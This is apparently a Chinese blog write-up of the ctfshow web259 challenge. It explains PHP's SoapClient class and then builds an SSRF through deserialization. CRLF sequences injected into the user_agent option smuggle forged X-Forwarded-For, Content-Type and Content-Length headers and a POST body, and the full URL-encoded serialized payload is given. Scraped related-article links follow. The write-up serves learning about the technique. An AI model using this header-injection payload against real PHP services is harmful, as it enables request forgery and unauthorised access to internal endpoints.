SoapClient看完之后还不是很懂的话就可以去下面的两个网址去补充一下

SoapClient 是 PHP 中用于与 SOAP(Simple Object Access Protocol)服务进行通信的内置类。SOAP 是一种基于 XML 的协议,用于在分布式环境中交换结构化信息。

以下是关于 SoapClient 类的详细解释:

  1. 创建 SoapClient 对象: 你可以使用 new SoapClient 关键字来创建一个 SoapClient 实例,用于与远程 SOAP 服务通信。

    php
    复制代码
    $client = new SoapClient($wsdl, $options);
    • $wsdl:指定 WSDL 文件的 URL 或者 null,表示不使用 WSDL 文件。
    • $options:是一个可选参数,是一个关联数组,用于配置 SoapClient 的行为。
  2. 配置选项: 在 $options 参数中,你可以设置一系列选项来配置 SoapClient 对象的行为。一些常见的选项包括:

    • location:指定服务端点的 URL。
    • uri:指定 SOAP 请求和响应的命名空间。
    • trace:设置为 true 以启用请求和响应的跟踪。
    • exceptions:设置为 true 以在发生错误时抛出异常。
  3. 调用远程方法: 一旦创建了 SoapClient 对象,你可以使用它来调用远程 SOAP 服务的方法。调用方法的方式与调用本地对象的方法类似。

    php
    复制代码
    $result = $client->methodName($param1, $param2, ...);

    这里的 methodName 是远程 SOAP 服务中的一个方法名称,$param1$param2 等是要传递给该方法的参数。

  4. 处理响应: 远程方法调用的结果将会作为 PHP 对象或者数组返回,具体取决于 SOAP 服务的返回值。

  5. 错误处理: 如果 SOAP 请求失败,SoapClient 会根据 exceptions 选项的设置抛出异常或者返回 false。你可以通过捕获异常或者检查返回值来处理错误。

总的来说,SoapClient 类提供了一个方便的方式来与远程 SOAP 服务进行通信,使得你可以轻松地调用远程服务的方法并处理返回结果。

想了解更多关于SoapClient可以去下面的两个网址去补充一下

PHP SoapClient:多功能的Web Service调用工具 - 七彩鱼丸 - 博客园 (cnblogs.com)

SoapClient原生类在开发以及安全中利用_soapclient() call()-CSDN博客

[SoapClient反序列化SSRF - 知乎 (zhSoapClient原生类在开发以及安全中利用_soapclient() call()-CSDN博客ihu.com)](https://zhuanlan.zhihu.com/p/80918004)

回归正题

首先在题目上

flag.php

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff); if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}

explode() 函数是 PHP 中用于将字符串分割成数组的函数。它接受三个参数:

  1. separator:分隔符,用于指定在哪里进行分割字符串。当在字符串中找到分隔符时,字符串将被分割成多个部分。例如,如果分隔符是空格,则字符串将根据空格进行分割。
  2. string:要分割的字符串。
  3. limit(可选):可选参数,用于限制返回的数组的大小。如果提供了此参数,则将最多分割成 limit 个部分。剩余的部分将被作为数组的最后一个元素。如果省略了此参数或者设为负值,则不进行限制。

下面是一个示例,演示了如何使用 explode() 函数:

php复制代码$str = "apple,banana,orange";

// 使用逗号作为分隔符将字符串分割成数组
$arr = explode(",", $str); // 输出数组
print_r($arr);

输出:

csharp复制代码Array
(
[0] => apple
[1] => banana
[2] => orange
)

在这个示例中,我们将一个包含水果名称的字符串使用逗号作为分隔符分割成数组。结果数组中包含了每个水果名称作为一个元素。

array_pop()则是删除最后一个取倒数第二个

127.0.0.1 #返回:空

127.0.0.1,127.0.0.2 #返回:127.0.0.1

127.0.0.1,127.0.0.2,127.0.0.3 #返回:127.0.0.2

题目

它调用了一个不纯在的方法

结合flag.php可以想到利用

SoapClient类去利用_call魔术方法进行伪造

搞个nc在本地试一下(在网上搜一下即可)

环境变量不能用的话

就找到php.ini文件修改里面的

;extension=php_soap.dll

把;去掉即可

之后监听一个9999端口 nc -lp 9999

<?php
$client = new SoapClient(null,array('uri'=>'http://127.0.0.1:9999/','location'=>'http://127.0.0.1:9999/flag.php')); $client->getFlag();

是一个post请求SOAPAction的值是可控的

但是Content-Type是xml形式的

post请求应为application/x-www-form-urlencoded形式

我们可以想办法让下面的内容失效Content-Type上面即是ua头所以我们尝试去控制ua头

<?php
$ua = "Lxxx";
$client = new SoapClient(null,array('uri' => 'http://127.0.0.1:9998/' , 'location' => 'http://127.0.0.1:9999/test' , 'user_agent' => $ua)); $client->getFlag();

成功了

接下来就好办了

我们可以利用\r\n这两个换行符去构造各种各种的头去凑出我们想要的post请求

当然最后别忘了设置Content-Length的值为13

也就是token=ctfshow的长度

剩下的就会被丢弃

'http://127.0.0.1:9998/' , 'location' => 'http://127.0.0.1:9999/test' , 'user_agent' => $ua));

$client->getFlag();

![](https://img2024.cnblogs.com/blog/3450162/202405/3450162-20240521183051383-1606673187.png)

最终即是

'http://127.0.0.1/' , 'location' => 'http://127.0.0.1/flag.php' , 'user_agent' => $ua));

print_r(urlencode(serialize($client)));

传入

vip=O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A138%3A%22Lxxx%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

访问flag.txt即可

web259(超详细)的更多相关文章

  1. 【转】(超详细)jsp与servlet之间页面跳转及参数传递实例

    初步学习JavaEE,对其中jsp与Servlet之间的传值没弄清楚,查看网上资料,发现一篇超详细的文章,收获大大,特此记录下来.具体链接:http://blog.csdn.net/ssy_shand ...

  2. 超强、超详细Redis数据库入门教程

    这篇文章主要介绍了超强.超详细Redis入门教程,本文详细介绍了Redis数据库各个方面的知识,需要的朋友可以参考下 [本教程目录] 1.redis是什么2.redis的作者何许人也3.谁在使用red ...

  3. Github上传代码菜鸟超详细教程【转】

    最近需要将课设代码上传到Github上,之前只是用来fork别人的代码. 这篇文章写得是windows下的使用方法. 第一步:创建Github新账户 第二步:新建仓库 第三部:填写名称,简介(可选), ...

  4. WebRTC VideoEngine超详细教程(三)——集成X264编码和ffmpeg解码

    转自:http://blog.csdn.net/nonmarking/article/details/47958395 本系列目前共三篇文章,后续还会更新 WebRTC VideoEngine超详细教 ...

  5. [转]超详细图解:自己架设NuGet服务器

    本文转自:http://diaosbook.com/Post/2012/12/15/setup-private-nuget-server 超详细图解:自己架设NuGet服务器 汪宇杰          ...

  6. GitHub超详细图文攻略

    GitHub超详细图文攻略 - Git客户端下载安装 GitHub提交修改源码工作流程 Git 分类: 转载2014-03-25 21:10 10641人阅读 评论(2) 收藏 举报 GitHubbr ...

  7. 超详细的Xcode代码格式化教程,可自定义样式。

    超详细的Xcode代码格式化教程,可自定义样式. 为什么要格式化代码 当团队内有多人开发的时候,每个人写的代码格式都有自己的喜好,也可能会忙着写代码而忽略了格式的问题.在之前,我们可能会写完代码后,再 ...

  8. Struts2+Spring4+Hibernate4整合超详细教程

    Struts2.Spring4.Hibernate4整合 超详细教程 Struts2.Spring4.Hibernate4整合实例-下载 项目目的: 整合使用最新版本的三大框架(即Struts2.Sp ...

  9. 超全超详细的HTTP状态码大全(推荐抓包工具HTTP Analyzer V6.5.3)

    超全超详细的HTTP状态码大全 本部分余下的内容会详细地介绍 HTTP 1.1中的状态码.这些状态码被分为五大类: 100-199 用于指定客户端应相应的某些动作. 200-299 用于表示请求成功. ...

  10. 安装64位Oracle 10g超详细教程

    安装64位Oracle 10g超详细教程 1. 安装准备阶段 1.1 安装Oracle环境 经过上一篇博文的过程,已经完成了对Linux系统的安装,本例使用X-Manager来实现与Linux系统的连 ...

随机推荐

  1. 【漏洞复现】用友NC-Cloud PMCloudDriveProjectStateServlet接口存在JNDI注入漏洞

    阅读须知 花果山的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站.服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作.利用此 ...

  2. Ceph配置与认证授权

    目录 Ceph配置与认证授权 1. 为什么现在不采用修改配置文件的方式了呢? 2. Ceph元变量 3. 使用命令行修改配置 3.1 全部修改(使用服务名) 3.2 部分修改(修改进程) 3.3 临时 ...

  3. 研二学妹面试字节,竟倒在了ThreadLocal上,这是不要应届生还是不要女生啊?

    一.写在开头     今天和一个之前研二的学妹聊天,聊及她上周面试字节的情况,着实感受到了Java后端现在找工作的压力啊,记得在18,19年的时候,研究生计算机专业的学生,背背八股文找个Java开发工 ...

  4. Vue cli之安装

    1.安装node.js Node.js是一个新的后端(后台)语言,它的语法和JavaScript类似,所以可以说它是属于前端的后端语言,后端语言和前端语言的区别: 运行环境:后端语言一般运行在服务器端 ...

  5. Kubernetes Cluster部署

    1.基本环境说明 ip: 192.168.115.149 主机名:node1    CentOS Linux release 7.9.2009,内核版本为3.10.0-1160.81.1.el7.x8 ...

  6. 拼多多面试:Netty如何解决粘包问题?

    粘包和拆包问题也叫做粘包和半包问题,它是指在数据传输时,接收方未能正常读取到一条完整数据的情况(只读取了部分数据,或多读取到了另一条数据的情况)就叫做粘包或拆包问题. 从严格意义上来说,粘包问题和拆包 ...

  7. ES备份恢复

    1.官网提供snap快照备份恢复 https://www.elastic.co/guide/en/elasticsearch/reference/7.9/snapshot-restore.html 环 ...

  8. 如何基于R包做GO分析?实现秒出图

    GO分析 基因本体论(Gene Ontology, GO)是一个用于描述基因和基因产品属性的标准术语体系.它提供了一个有组织的方式来表示基因在生物体内的各种角色.基因本体论通常从三个层面对基因进行描述 ...

  9. spring项目中读取resources下的文件

    spring项目中读取resources下的文件 我们都知道,spring项目经过maven打包后,可以打成jar包或可解压的war包 a. war包是需要外置的web容器去运行的,是需要先解压的 b ...

  10. SOP页面跳转设计 RAS AES加密算法应用跨服务免登陆接口设计

    SOP页面跳转设计 RAS AES加密算法应用跨服务免登陆接口设计 SOP,是 Standard Operating Procedure三个单词中首字母的大写 ,即标准作业程序,指将某一事件的标准操作 ...